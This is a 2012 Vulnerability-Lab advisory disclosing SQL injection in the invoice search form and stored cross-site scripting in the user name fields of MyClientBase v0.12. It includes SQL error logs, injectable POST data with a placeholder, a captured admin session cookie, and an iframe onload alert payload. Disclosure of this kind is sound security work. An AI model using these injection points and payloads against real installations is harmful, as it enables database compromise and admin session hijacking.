1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 |
Title: ====== MyClientBase v0.12 - Multiple Web Vulnerabilities Date: ===== 2012-04-30 References: =========== http://www.vulnerability-lab.com/get_content.php?id=511 VL-ID: ===== 511 Introduction: ============= MyClientBase is a simple, intuitive, free and open source web based invoice management system developed with freelancers in mind. MCB is and always will be a community driven project which aims to provide freelancers with a simple and intuitive invoice management system. Please consider contributing your ideas, suggestions, comments, etc! MyClientBase is designed to manage your clients and invoices as simply as possible. Every feature included is aimed to benefit every user - not just one or two. Many of the features you<code>ll find in MyClientBase were suggested by the community. Those suggestions that benefit the community as a whole are what makes MyClientBase the successful project that it is. - Community driven - Completely web-based - Unlimited everything - Configurable taxes - Multi-language support - Editable invoice templates - Client access through Client Center - Collect payments online - Inventory tracking (Copy of the Vendor Homepage: http://myclientbase.com/ ) Abstract: ========= A Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in MyClientBase v0.12 application. Report-Timeline: ================ 2012-04-30: Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== 1.1 Multiple remote SQL Injection vulnerabilities are detected in the MyClientBase Content Management System v0.12. The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise. The vulnerability is located on invoice & tag when processing to request the invoice search module function of the content management system. The technqiue behind is a easy order by injection mdb Vulnerable Module(s): [+] Invoice Search - invoice# & tags --- SQL Exception Logs --- A Database Error Occurred Error Number: 1054 Unknown column </code>1<code> in </code>where clause<code> SELECT SQL_CALC_FOUND_ROWS mcb_invoices.*, mcb_invoice_amounts.*, mcb_clients.*, mcb_users.username, mcb_users.company_name AS from_company_name, mcb_users.last_name AS from_last_name, mcb_users.first_name AS from_first_name, mcb_users.address AS from_address, mcb_users.address_2 AS from_address_2, mcb_users.city AS from_city, mcb_users.state AS from_state, mcb_users.zip AS from_zip, mcb_users.country AS from_country, mcb_users.phone_number AS from_phone_number, mcb_users.email_address AS from_email_address, mcb_users. web_address AS from_web_address, mcb_invoice_statuses.*, IF(mcb_invoice_statuses.invoice_status_type <> 3, IF(mcb_invoices.invoice_due_date < UNIX_TIMESTAMP(), 1, 0), 0) AS invoice_is_overdue, (DATEDIFF(FROM_UNIXTIME (UNIX_TIMESTAMP()), FROM_UNIXTIME(mcb_invoices.invoice_due_date))) AS invoice_days_overdue, mcb_users.tax_id_number AS from_tax_id_number FROM (mcb_invoices) LEFT JOIN mcb_invoice_statuses ON mcb_invoice_statuses.invoice_status_id = mcb_invoices.invoice_status_id LEFT JOIN mcb_users ON mcb_users.user_id = mcb_invoices.user_id JOIN mcb_invoice_amounts ON mcb_invoice_amounts.invoice_id = mcb_invoices.invoice_id JOIN mcb_clients ON mcb_clients. client_id = mcb_invoices.client_id WHERE </code>mcb_invoices<code>.</code>invoice_is_quote<code> = 0 AND </code>mcb_invoices<code>.</code>invoice_id<code> IN (SELECT invoice_id FROM mcb_invoice_tags WHERE tag_id IN (SELECT tag_id FROM mcb_tags WHERE tag IN(</code>-1<code>))) AND </code>1<code> = </code>mcb_invoices.invoice_number LIKE<code>%-1 </code>% <code></code> AND mcb_invoices.client_id IN (<code>2</code>) ORDER BY mcb_invoices. invoice_date_entered DESC, mcb_invoices.invoice_id DESC LIMIT 15 Filename: /home/[USER]/public_html/[SERVICE]/myclientbase/core/MY_Model.php Line Number: 92 --- A Database Error Occurred Error Number: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near <code>%</code> AND mcb_invoices.client_id IN (<code>1</code>) ORDER BY mcb_invoices.invoice_date_enter<code> at line 9 SELECT SQL_CALC_FOUND_ROWS mcb_invoices.*, mcb_invoice_amounts.*, mcb_clients.*, mcb_users.username, mcb_users. company_name AS from_company_name, mcb_users.last_name AS from_last_name, mcb_users.first_name AS from_first_name, mcb_users.address AS from_address, mcb_users.address_2 AS from_address_2, mcb_users.city AS from_city, mcb_users.state AS from_state, mcb_users.zip AS from_zip, mcb_users.country AS from_country, mcb_users.phone_number AS from_phone_number, mcb_users.email_address AS from_email_address, mcb_users.web_address AS from_web_address, mcb_invoice_statuses.*, IF(mcb_invoice_statuses.invoice_status_type <> 3, IF(mcb_invoices.invoice_due_date < UNIX_TIMESTAMP(), 1, 0), 0) AS invoice_is_overdue, (DATEDIFF(FROM_UNIXTIME(UNIX_TIMESTAMP()), FROM_UNIXTIME(mcb_invoices.invoice_due_date))) AS invoice_days_overdue, mcb_users.tax_id_number AS from_tax_id_number FROM (mcb_invoices) LEFT JOIN mcb_invoice_statuses ON mcb_invoice_statuses.invoice_status_id = mcb_invoices.invoice_status_id LEFT JOIN mcb_users ON mcb_users.user_id = mcb_invoices.user_id JOIN mcb_invoice_amounts ON mcb_invoice_amounts.invoice_id = mcb_invoices.invoice_id JOIN mcb_clients ON mcb_clients.client_id = mcb_invoices.client_id WHERE </code>mcb_invoices<code>.</code>invoice_is_quote<code> = 0 AND </code>mcb_invoices<code>. invoice_number<code> LIKE </code>%-1<code>%</code> AND mcb_invoices.client_id IN (<code>1</code>) ORDER BY mcb_invoices.invoice_date_entered DESC, mcb_invoices.invoice_id DESC LIMIT 15 Filename: /home/[USER]/public_html/[SERVICE]/myclientbase/core/MY_Model.php Line Number: 92 -- A Database Error Occurred Error Number: 1054 Unknown column <code>137</code> in <code>where clause SELECT SQL_CALC_FOUND_ROWS mcb_invoices.*, mcb_invoice_amounts.*, mcb_clients.*, mcb_users.username, mcb_users.company_name AS from_company_name, mcb_users.last_name AS from_last_name, mcb_users.first_name AS from_first_name, mcb_users.address AS from_address, mcb_users.address_2 AS from_address_2, mcb_users.city AS from_city, mcb_users.state AS from_state, mcb_users.zip AS from_zip, mcb_users.country AS from_country, mcb_users.phone_number AS from_phone_number, mcb_users. email_address AS from_email_address, mcb_users.web_address AS from_web_address, mcb_invoice_statuses.*, IF(mcb_invoice_statuses. invoice_status_type <> 3, IF(mcb_invoices.invoice_due_date < UNIX_TIMESTAMP(), 1, 0), 0) AS invoice_is_overdue, (DATEDIFF (FROM_UNIXTIME(UNIX_TIMESTAMP()), FROM_UNIXTIME(mcb_invoices.invoice_due_date))) AS invoice_days_overdue, mcb_users.tax_id_number AS from_tax_id_number FROM (mcb_invoices) LEFT JOIN mcb_invoice_statuses ON mcb_invoice_statuses.invoice_status_id = mcb_invoices.invoice_status_id LEFT JOIN mcb_users ON mcb_users.user_id = mcb_invoices.user_id JOIN mcb_invoice_amounts ON mcb_invoice_amounts.invoice_id = mcb_invoices.invoice_id JOIN mcb_clients ON mcb_clients.client_id = mcb_invoices.client_id WHERE <code>mcb_invoices</code>.<code>invoice_is_quote</code> = 0 AND <code>mcb_invoices</code>.<code>invoice_id</code> IN (SELECT invoice_id FROM mcb_invoice_tags WHERE tag_id IN (SELECT tag_id FROM mcb_tags WHERE tag IN(<code>-1</code>))) AND <code>1</code> = <code>mcb_invoices.invoice_number LIKE</code>%g% <code></code> AND <code> mcb_invoice_amounts</code>.<code>invoice_total</code> = <code>2</code> AND mcb_invoices.client_id IN (<code>1</code>) ORDER BY mcb_invoices.invoice_date_entered DESC, mcb_invoices.invoice_id DESC LIMIT 15 Filename: /home/[USER]/public_html/[SERVICE]/myclientbase/core/MY_Model.php Line Number: 92 Pictures(s): ../1.png ../2.png ../3.png 1.2 Multiple persistent input validation vulnerabilities are detected in the MyClientBase Content Management System v0.12. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action. The vulnerability is located on the username input fields first- or lastname & affects the user account listing on the admin section. Vulnerable Module(s): [+] User accounts - Add first & lastname - index.php/users/form/user_id/2 [-] User Account Listing - first & lastname - myclientbase/index.php/users Pictures(s): ../4.png ../5.png Proof of Concept: ================= 1.1 The sql injection vulnerabilities can be exploited by remote attackers without user inter action. For demonstration or reproduce ... URL: http://xxx.com/myclientbase/index.php/invoice_search METHOD: POST INJECTION TYPE: Order by -- MODULE: invoice# via invoice_number & tags Review: Vulnerable Input File <dl> <dt><label>Invoice #: </label></dt> <dd><input name="invoice_number" value="" type="text"></dd> </dl> ... & <dl> <dt><label>Tags: </label></dt> <dd><input id="tags" name="tags" value="" type="text"></dd> </dl> PoC: POSTDATA= invoice_number=-1%27[SQL-Injection]&from_date=&to_date=&client_id%5B%5D=1&amount_operator=%3D&amount=2&tags=buh&output_type=index&btn_search=Search ... or invoice_number=test&from_date=&to_date=&client_id%5B%5D=1&amount_operator=%3D&amount=2&tags=-1%27[SQL-Injection]&output_type=index&btn_search=Search ci_session=a%3A11%3A%7Bs%3A10%3A%22 session_id%22%3Bs%3A32%3A%2248cebf507f1d7cbc8dd09fc127f16acb%22%3Bs%3A10%3A%22 ip_address%22%3Bs%3A11%3A%2286.32.63.91%22%3Bs%3A10%3A%22 user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+rv%3A11.0%29+Gecko%22%3Bs%3A13%3A%22 last_activity%22%3Bi%3A1334351916%3Bs%3A7%3A%22 user_id%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22 last_name%22%3Bs%3A4%3A%22User%22%3Bs%3A10%3A%22 first_name%22%3Bs%3A5%3A%22Admin%22%3Bs%3A12%3A%22 global_admin%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22 is_admin%22%3Bb%3A1%3Bs%3A10%3A%22 last_index%22%3Bs%3A80%3A%22 invoice_search%2Fsearch_results%2F index%2F search_hash%2F8389e50abcfbd64f85d756ed6ab0205e%22%3Bs%3A11%3A%22 search_hash%22%3Ba%3A1%3A%7Bs%3A32%3A%228389e50abcfbd64f85d756ed6ab0205e%22%3Ba%3A2%3A%7Bs%3A5%3A% 22where%22%3Ba%3A3%3A%7Bs%3A29%3A%22mcb_invoices.invoice_is_quote%22%3Bi%3A0%3Bi%3A0%3Bs%3A133%3A%22mcb_invoices. invoice_id+IN+%28SELECT+invoice_id+FROM+mcb_invoice_tags+WHERE+tag_id+IN+%28SELECT+tag_id+FROM+mcb_tags+WHERE+ tag+IN%28%27-1%27%29%29%29%22%3Bi%3A1%3Bs%3A40%3A%22mcb_invoices.invoice_number+LIKE+%27%25-1%27%25%27%22%3B%7Ds %3A8%3A%22where_in%22%3Ba%3A1%3A%7Bs%3A22%3A%22mcb_invoices.client_id%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3B% 7D%7D%7D%7D%7D4b78e5e505d94a46962e42792c6df0b8 1.2 The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ... Input URL: http://xxx.com/myclientbase/index.php/users/form/user_id/2 Affected URL: http://xxx.com/myclientbase/index.php/users Review: user Accounts - Listing <table> <tbody><tr> <th scope="col" class="first">ID</th> <th scope="col">Name</th> <th scope="col">Company Name</th> <th scope="col">Email</th> <th scope="col">Phone Number</th> <th scope="col" class="last">Actions</th> </tr> <tr> <td class="first">2</td> <td>"><iframe src="https://www.exploit-db.com/exploits/18814/a" onload='alert("VulnerabilityLab")' <,="" "="">< iframe src=a onload=alert("VulnerabilityLab") <</td> <td></td> Risk: ===== 1.1 The security risk of the remote sql injection vulnerabilities are estimated as critical. 1.2 The security risk of the persistent input validation vulnerability is estimated as medium(+). Credits: ======== Vulnerability Research LaboratoryTeam-Benjamin Kunz Mejri (Rem0ve) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability- Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab or its suppliers. Copyright � 2012 Vulnerability-Lab -- VULNERABILITY RESEARCH LABORATORY TEAM Website: www.vulnerability-lab.com Mail: research@vulnerability-lab.com |